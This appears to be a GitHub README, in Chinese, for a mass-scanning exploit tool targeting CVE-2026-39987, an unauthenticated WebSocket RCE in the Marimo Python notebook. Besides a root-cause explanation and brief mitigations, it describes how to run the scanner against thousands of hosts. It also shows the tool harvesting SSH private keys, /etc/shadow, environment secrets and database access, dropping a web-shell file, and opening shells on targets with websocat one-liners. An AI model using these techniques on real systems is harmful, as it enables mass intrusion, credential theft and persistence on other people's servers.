Nxploited/CVE-2026-39987

GitHub: Nxploited/CVE-2026-39987

揭示并利用 Marimo 未认证预认证 RCE 漏洞的专用扫描与利用工具。

Stars: 0 | Forks: 0

```markdown # CVE-2026-39987 marimo 是一个响应式 Python 笔记本。在 0.23.0 之前,Marimo 存在一个预认证 RCE 漏洞。
``` ___ _ ___ __ __ __ __ ___ __ __ _______ / (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ / | | | \__ /| | /| __ __/\_/|\_/|\__/ / | | | / -----/ | |/ |/ \----- \ | |/ \ / \___/ \_/ \___/ /___\__//___\__/ \___/ | |\__// ``` # CVE-2026-39987 ### Marimo `/terminal/ws` — 未认证 WebSocket 预认证 RCE ### 批量扫描 · 完整枚举 · 智能检测
![Python](https://img.shields.io/badge/Python-3.10%2B-brightgreen?style=for-the-badge&logo=python&logoColor=white) ![CVE](https://img.shields.io/badge/CVE-2026--39987-red?style=for-the-badge) ![Severity](https://img.shields.io/badge/Severity-CRITICAL-red?style=for-the-badge) ![Type](https://img.shields.io/badge/Type-Pre--Auth%20RCE-orange?style=for-the-badge) ![Platform](https://img.shields.io/badge/Platform-Linux%20%7C%20macOS-blue?style=for-the-badge) ![License](https://img.shields.io/badge/License-Educational-yellow?style=for-the-badge)
**作者:** [Nxploited](https://github.com/Nxploited)  ·  **Telegram:** [@KNxploited](https://t.me/KNxploited)
## 📖 概述 **CVE-2026-39987** 是一个 **关键预认证远程代码执行** 漏洞,影响 **Marimo**(一个开源响应式 Python 笔记本平台)。 终端 WebSocket 端点 `/terminal/ws` 完全缺乏认证验证,允许任何 **未认证远程攻击者** 获取 **完整 PTY Shell** 并以运行进程的权限执行任意系统命令——在容器化部署中通常为 `root`。 与 `/ws` 等其他 WebSocket 端点不同(它们在接收连接前会正确调用 `validate_auth()`),`/terminal/ws` 端点仅验证运行模式和平台兼容性,**完全跳过认证**。 ## 🔍 漏洞详情 | 属性 | 值 | |---|---| | **CVE ID** | CVE-2026-39987 | | **受影响软件** | marimo < 0.23.0 | | **漏洞类别** | 未认证 WebSocket 的预认证 RCE | | **受影响端点** | `/terminal/ws` | | **攻击向量** | 网络 | | **需要认证** | ❌ 无 | | **用户交互** | ❌ 无 | | **严重程度** | 🔴 关键 | | **影响** | 完整 PTY Shell · 任意命令执行 | | **修复版本** | marimo 0.23.0 | ### 🧩 根本原因 ``` /ws → calls validate_auth() ✅ Authentication enforced /terminal/ws → skips validate_auth() ❌ No authentication ``` `/terminal/ws` 处理程序仅检查: 1. 服务器是否以正确模式运行 2. 平台是否支持终端仿真 它从不验证会话令牌、Cookie 或任何形式的标识——因此每个暴露的 Marimo 实例都将成为一个直接 Shell。 ## ✨ 功能特性 - 🔥 **批量扫描** — 使用可配置的线程池并发扫描数千个目标 - 🧠 **智能环境检测** — 自动识别:Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · Python 应用 - 🐚 **完整 PTY Shell 访问** — 未认证的 WebSocket Shell,支持完整终端仿真 - 📓 **笔记本枚举** — 递归发现并读取所有 `.py` Marimo 笔记本 - 🔑 **令牌收集** — 从命令行参数、环境变量和日志文件中提取 Marimo 令牌 - 🗄️ **数据库发现** — 自动探测 MySQL · PostgreSQL · Redis · SQLite · DuckDB - 🔐 **凭证提取** — `.env` 文件 · `wp-config.php` · SSH 私钥 · `/etc/shadow` - 📂 **Web Shell 验证(Nx Drop)** — 在 Web 根目录写入并 HTTP 验证一个概念验证文件 - 📊 **每个目标独立输出** — 每个目标都有结构化的输出目录 - 🎨 **丰富的终端 UI** — 带面板、进度跟踪和实时统计的专业配色界面 ## ⚙️ 系统要求 ``` Python 3.10 or higher ``` **安装依赖:** ``` pip install websockets rich requests urllib3 ``` 或使用 requirements 文件: ``` pip install -r requirements.txt ``` **`requirements.txt`** ``` websockets rich requests urllib3 ``` ## 🚀 使用方法 ### 步骤 1 — 准备目标文件 创建名为 `targets.txt` 的文件,每行一个目标。 该工具支持所有格式: ``` 192.168.1.100 192.168.1.101:2718 10.10.10.50:2718 https://notebook.example.com wss://secure.notebook.io marimo.target.local:2718 ``` ### 步骤 2 — 启动扫描器 ``` python3 CVE-2026-39987.py ``` ### 步骤 3 — 交互式配置 ``` ▸ Targets file (default: targets.txt) : targets.txt ▸ Threads (default: 50) : 100 ``` ## 🖥️ 输出预览 ### 终端 UI ``` ╭──────────────────────────────────────────────────────────╮ │ CVE-2026-39987 · Marimo WebSocket RCE │ │ MASS SCANNER · FULL ENUM · SMART DETECT │ │ By: Nxploited · github.com/Nxploited · @KNxploited │ ╰──────────────────────────────────────────────────────────╯ ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════ ╭────────────────────────────────────────╮ │ ◈◈◈ ROOT ACCESS ◈◈◈ │ │ ws://192.168.1.100:2718 │ │ uid ▸ uid=0(root) groups=[root] │ ╰────────────────────────────────────────╯ ── ENVIRONMENT ────────────────────────────────────────── ✦ Type MARIMO ◈ Docker True ◈ Marimo version 0.22.1 ◈ Notebook directory /app/notebooks ── MARIMO — NOTEBOOKS ─────────────────────────────────── ✦ Notebooks 7 found · /app/notebooks/analysis.py · /app/notebooks/data_pipeline.py · /app/notebooks/etl_job.py ── MARIMO — TOKENS ────────────────────────────────────── ✦ Token CLI secret-token-abc123xyz ✦ .marimo.toml /root/.marimo.toml ── /etc SENSITIVE ────────────────────────────────────── ✦ /etc/shadow READABLE [42 entries] ◈ /etc/passwd [42 lines] ◈ /etc/crontab [12 lines] ── SSH KEYS ───────────────────────────────────────────── ✦ /root/.ssh/id_rsa FOUND ✦ /root/.ssh/id_ed25519 FOUND ── DATABASES ──────────────────────────────────────────── ✦ MySQL DATABASES LISTED ✦ Redis PONG — NO AUTH ✦ DuckDB files /app/notebooks/data.duckdb ── SENSITIVE ENV VARS ─────────────────────────────────── ✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod ✦ AWS_SECRET_ACCESS_KEY redacted... ── NX FILE DROP ──────────────────────────────��────────── ✦ Shell write /app/notebooks/Nx.py ✦ HTTP access http://192.168.1.100:2718/Nx.py ── COMPLETE ───────────────────────────────────────────── ◈ Saved to nx_output/192.168.1.100_2718/ ◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s ``` ### 实时进度 ``` ◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s ``` ## 📁 输出结构 ``` nx_output/ │ ├── summary.txt ← Master summary of all targets ├── curls.txt ← websocat one-liners for all shells ├── Nx.txt ← HTTP-confirmed file drops │ └── 192.168.1.100_2718/ ← Per-target directory ├── summary.txt ← Target summary & connect command ├── identity.txt ← id · whoami · uname · hostname · shell ├── users.txt ← /etc/passwd · shadow · sudoers · last ├── ssh_keys.txt ← Discovered SSH private keys & auth keys ├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env ├── env_sensitive.txt ← Filtered sensitive environment variables ├── databases.txt ← MySQL · Redis · PostgreSQL · config files ├── app_configs.txt ← .env · wp-config.php · settings.py · etc ├── notebooks.txt ← Full content of all Marimo notebooks ├── marimo_toml.txt ← .marimo.toml configuration files ├── marimo_tokens.txt ← All extracted Marimo auth tokens ├── dotenv.txt ← .env / .env.local / .env.production ├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks ├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs ├── network.txt ← Interfaces · routes · open ports · iptables ├── processes.txt ← ps aux · crontab · cron.d · systemd units ├── logs.txt ← auth.log · syslog · access.log · error.log ├── nx_file.txt ← Nx drop path · web root · HTTP URL └── software.txt ← PHP · Python · Node.js versions ``` ## 📊 访问级别 | 图标 | 级别 | 描述 | |---|---|---| | `✦✦✦` 🟢 | **ROOT** | `uid=0` — 完整 root 访问 | | `✦✦` 🟡 | **PRIV** | 属于 `sudo` · `wheel` · `docker` · `disk` · `adm` | | `✦` 🔵 | **SHELL** | 无特权 Shell 访问 | | `✗` 🔴 | **FAIL** | 连接被拒 · 超时 · HTTP 错误 | ## 🌍 支持的环境 | 环境 | 自动检测 | 专用收集 | |---|---|---| | 🟣 **Marimo** | ✅ | 笔记本 · 令牌 · DuckDB · `.marimo.toml` · 挂载 | | 🔵 **cPanel / WHM** | ✅ | `userdomains` · MySQL 密码 · WHM 用户列表 | | 🟠 **Plesk** | ✅ | `psa.shadow` · vhosts · MySQL 管理员凭证 | | 🌐 **Apache** | ✅ | 虚拟主机 · `sites-enabled` · 访问/错误日志 | | 🟢 **Nginx** | ✅ | 服务器块 · `conf.d` · 访问/错误日志 | | 🐍 **Python 应用** | ✅ | `.env` · `settings.py` · `config.py` · Pipfile | | 🟡 **Node.js** | ✅ | `.env` · `package.json` · 公共目录 | | 🐳 **Docker** | ✅ | 绑定挂载 · 容器本地存储检测 | | ⚙️ **通用** | ✅ | 在未知环境上的完整枚举套件 | ## 🔌 手动连接 一旦识别出易受攻击的目标,可使用 `websocat` 手动连接: ``` # 安装 websocat cargo install websocat # 或: https://github.com/vi/websocat/releases # 连接 Shell websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value" # 通过 TLS 连接 websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value" ``` ## 🛡️ 缓解措施 如果您在生产或暴露环境中运行 Marimo: 1. **立即升级** 到 `marimo >= 0.23.0` 2. 在 Marimo 前面放置经过身份验证的反向代理(Nginx + BasicAuth / OAuth2 代理) 3. 仅将 Marimo 绑定到 `127.0.0.1` — 永远不要直接暴露到互联网 4. 使用防火墙规则限制对 `/terminal/ws` 的访问 5. 审计部署是否存在暴露实例 ## ⚠️ 免责声明 您 **必须** 在运行本工具之前获得目标系统的明确书面授权。未经授权对非您所有或未获许可测试的系统使用本工具是 **非法** 的,可能导致民事和/或刑事责任,适用包括但不限于《计算机欺诈和滥用法案》(CFAA)、《计算机滥用法》、欧盟网络犯罪指令以及您所在司法管辖区等效力相当的法律。 作者对因滥用本工具造成的任何损害、数据丢失或法律后果 **不承担任何责任**。 **负责任地使用。道德黑客。** ## 👤 作者
| | | |---|---| | **Handle | Nxploited | | **GitHub** | [github.com/Nxploited](https://github.com/Nxploited) | | **Telegram** | [@KNxploited](https://t.me/KNxploited) | | **频道** | [Nxploited ZeroDay Hub](https://t.me/KNxploited) |
⭐ **如果本工具对您有用,请点个星标并加入频道获取更多零日漏洞!** ⭐ ### 🔗 [t.me/KNxploited](https://t.me/KNxploited)
```
标签:CISA项目, CVE-2026-39987, marimo, notebook, Pre-Auth, PTY, Python, Python3.10+, RCE, reactive, websocket, WebSocket, 依赖分析, 字符串匹配, 安全, 容器逃逸, 开源, 无后门, 无服务器架构, 漏洞, 终端, 编程工具, 超时处理, 远程代码执行, 逆向工具, 预认证